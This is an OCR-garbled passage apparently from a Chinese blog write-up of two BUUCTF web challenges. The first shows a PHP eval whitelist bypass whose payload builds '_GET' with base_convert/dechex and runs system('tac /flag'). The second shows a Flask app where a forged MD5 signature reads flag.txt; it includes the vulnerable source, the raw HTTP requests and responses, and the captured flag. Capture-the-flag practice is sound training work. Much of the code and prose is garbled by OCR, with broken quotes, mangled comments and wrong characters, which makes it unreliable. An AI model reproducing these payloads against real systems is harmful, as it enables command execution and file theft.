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<?php
error_reporting(0);
1/ U IR EXREC 7, AHIE A2 7 2 e Zef Lag
if(lisset($_GET['c'])){
show_source(__FILE_ );
telse{
// P F c=26-1
$content = $ GET['c'];
if (strlen($content) >= 80) {
die("KKTAZE");
¥
$blacklist = [* ', "\t', ‘\r', ‘\n',"\"'", ""', "0 '\[', '\]1'I;
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die ("N EMAF A RBRRIFH");

¥
// IR Shttp: //www.w3school . com. cn/php/php_ref math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', ‘'atanh', 'base_convert', 'bindec', '
ceil', 'cos', ‘'cosh', ‘'decbin', ‘'dechex', ‘'decoct', ‘'deg2rad', 'exp', 'expml', 'floor', 'fmod', 'getrandmax', 'h
exdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg value', 'logl®@', 'loglp', 'log', 'max’', 'min', 'mt_g
etrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand’', 'round’', 'sin', 'sinh', ‘'sqrt', 'sr
and', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/"', $content, $used funcs);
foreach ($used_funcs[@] as $func) {
if (!in_array($func, $whitelist)) {
die("TE NN G ERATRE") ;
}
}
1/ TEREHESE

eval('echo '.$content."';");
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$a="system';

$a('ls’);


https://blog.csdn.net/weixin_54648419
https://blog.csdn.net/weixin_54648419/category_11630473.html
https://so.csdn.net/so/search/s.do?q=BUUCTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_54648419/article/details/122989440
https://blog.csdn.net/weixin_54648419/category_11630473.html

XHERKE<80, NAVFRARNFTS, LOBAH AL RMFA S, B2 H 8 a o080 H, Fisid B4 5w ) s oE
FpRE 4%, PATHINARED, FEHE 2] base_convert. dechex UMK EA TR, X H2RMiEH $_GeT[] FfEANTWS,
Jeeh i B % payload

$pi=base_convert(37907361743,10,36) (dechex(1598506324)); ($$pi){a}(($$pi){b})&a=system&b=tac /flag

base_convert(37907361743,10,36) => "hex2bin"

dechex(1598506324) => "5f474554"

hex2bin("5f474554") => "_GET"  //hex2binf§—F16 Il F Ml —dlH 7774
($$pi){a}(($$pi){abs}) => ($_GET){pi}($_GET){b} //{}HLI/CH[]
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FTHE H % #iflask 1 7-FE, X pythonfUib AT B P45 2

#! Jusr/bin/env python
#encoding=utf-8

from flask import Flask
from flask import request
import socket

import hashlib

import urllib

import sys

import os

import json

reload(sys)
sys.setdefaultencoding( “latinl®)

app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def init_ (self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote Addr
os.mkdir(self.sandbox)

def Exec(self):
result = {}
result| ‘code‘] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, ‘w¢)
resp = scan(self.param)
if (resp == "Connection Timeout"):
result| ‘data“] = resp
else:
print(resp)
tmpfile.write(resp)
tmpfile.close()
result| ‘code‘] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, ‘r¢)
result| ‘code‘] = 200



result| ‘data“] = f.read()
if result| ‘code‘] == 500:

result| ‘data“] = "Action Error"
else:
result| ‘code] = 500
result[ ‘msg€] = "Sign Error"

return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.

@app.route("/geneSign", methods=[ ‘GET¢, ‘POST¢])

def geneSign():
param = urllib.unquote(request.args.get("param”, ""))
action = "scan"
return getSign(action, param)

@app.route( “/Delta“,methods=[ ‘GET‘, ‘POST‘ )
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param”, ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!I"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route(/*)
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()|[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == ‘__main__‘:
app.debug = False
app.run(host=0.0.0.0¢,port=80)
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def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param”, ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!I"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
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def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
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#t self.checkSign()

def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
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def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
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if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, ‘w¢)
resp = scan(self.param)

if "read"” in self.action:
f = open("./%s/result.txt" % self.sandbox, ‘r¢)
result| ‘code‘] = 200
result| ‘data‘] = f.read()

IREH R Wscan, read inactiondt, i< paramXy N SR A 755 Aresult.txt, 5 & result. et Sk IR Bk, BESR 2235
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def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
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I8 secert_key+param+action HILZPHEN, BZE[E T secert _keyparamaction , HIRIRATHIAN key+flag.txt+scan % T

keyflag.txtscan, [Hkeyie 5AEH], X B AT /geneSign T, 1 ANS % param=Fflag.txt 53] —HMD5

fli: 93d64b4b7a8301de8b52edd00913a455

pET /geneSign?param=flag.txt HTTP/1.1

Host: ebh5555e-38c6-4fdE-ad32-d5784548c9fd. noded . buuoj.cn:81

User-Agent: Mozilla/S.0 (Windows NT 10.0; Wing4; x64; rv:97.0) Gecko/20100101
Firefox/97.0

Accept:

text/html applicationfxhtml+xml application/xml; q=0.9 image/avif imagefwebp M q=0.8
Accept-Language: zh-CN, zh;g=0.8 zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie:

UN_distinctid=17 d40a29a1396b-02ffcacdc ab568-403e217 e-144000-17 d40a29a1592e
Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

HTTPM.1 200 OK

Server: openresty

Date: Maon, 28 Feb 2022 12:58:43 GMT
Content-Type: text/html; charset=utf-3
Content-Length: 32

Connection: close

93d64b4b7al301de8h52edd00913a455
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| GET fgeneSign?param=flag.txtread HTTP/.1
Host: ebbS555e-3806-4fd6-ad32-d5784548c9fd. noded. buuoj.cn:81
_User—Agent: Mozilla/s.0 (Windows NT 10.0; WinG4; x64; rv:97.0) Gecko/20100101
g Firefox/97.0
Accept:
o text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp */*,q=0.8
A Accept-Language: zh-CN zh;q=0.8 zh-TW;g=0.7 zh-HK;q=0.5 en-U5;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
9 Cookie:
UN_distinctid=17d40a29a1396k-02ffcacdc abo68-4c3e217 e-144000-17 d40a29a1592¢
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

?param=flag.txt

e

HTTR/M.1 200 OK

Senver: openresty

Date: Man, 28 Feb 2022 13:03:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32

Connection: close

t8aecf2albcebbh747fa7Bb374d260713
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Cookie: ------- ;action=readscan;sign=68aecf2a@6ceb6b747fa78b374d26073

| GET /Detta?param=flag.txt HTTP/1.1

IHost: ehh5555e-38c6-4d6-ad32-d5784548c5fd. noded buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:97.0) Gecko/20100101 Firefox/97.0
| Accept: text/html application/xhtml+xml application/xml; g=0.9 image/avif image/webp ™ q=0.8
Accept-Language: zh-CM,zh;q=0.8,zh-TW; q=0.7 zh-HIK;q=0.5,en-US; q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie:

UM _distinctid=17d40a29a1396b-02ffcacdc1ab568-4c32217 e-144000-17 d40a29a1592e; action=readsc
an;sign=68aecf2alBcebh7 47 far8h374d260713

Upgrade-Insecure-Requests: 1

DNT: 1

Sec-GPC: 1

L

HTTR/M.1 200 OK

Server: openresty

Date: Maon, 28 Feb 2022 13:05:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 69

Connection: close

{"code™ 200, "data™ "flag{95c0cch162d3 4283-a89h-7652985c27ad}'\n"}
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